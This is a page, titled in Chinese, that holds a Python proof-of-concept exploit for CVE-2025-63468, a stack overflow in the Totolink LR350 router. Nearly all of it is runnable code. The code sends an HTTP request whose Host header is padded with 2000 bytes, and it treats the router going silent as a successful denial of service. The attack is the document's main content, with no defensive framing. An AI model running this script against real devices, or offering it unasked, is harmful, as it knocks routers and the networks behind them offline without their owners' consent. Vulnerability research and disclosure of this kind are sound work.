CVE-2025-63468 Totolink LR350栈溢出漏洞导致拒绝服务

#!/usr/bin/env python3 """ CVE-2025-63468 PoC - Totolink LR350 Stack Overflow via http_host Parameter This PoC demonstrates the stack overflow vulnerability in the sub_426EF8 function """ import socket import sys def exploit_totolink_lr350(target_ip, target_port=80): """ Send a crafted HTTP request with oversized http_host parameter to trigger stack overflow in sub_426EF8 function """ # Create a long string to overflow the stack buffer # Adjust the length based on target buffer size overflow_length = 2000 # May need adjustment overflow_string = "A" * overflow_length # Craft malicious HTTP request http_request = f"GET / HTTP/1.1\r\n" http_request += f"Host: {overflow_string}\r\n" http_request += f"User-Agent: Mozilla/5.0\r\n" http_request += f"Accept: */*\r\n" http_request += f"Connection: close\r\n\r\n" try: print(f"[*] Connecting to {target_ip}:{target_port}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print(f"[*] Sending malicious HTTP request with {overflow_length} byte http_host parameter") sock.send(http_request.encode()) print(f"[*] Request sent, waiting for response...") try: response = sock.recv(4096) print(f"[*] Received response: {response[:100]}") except socket.timeout: print("[+] No response received - target may have crashed (DoS successful)") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_totolink_lr350(target, port)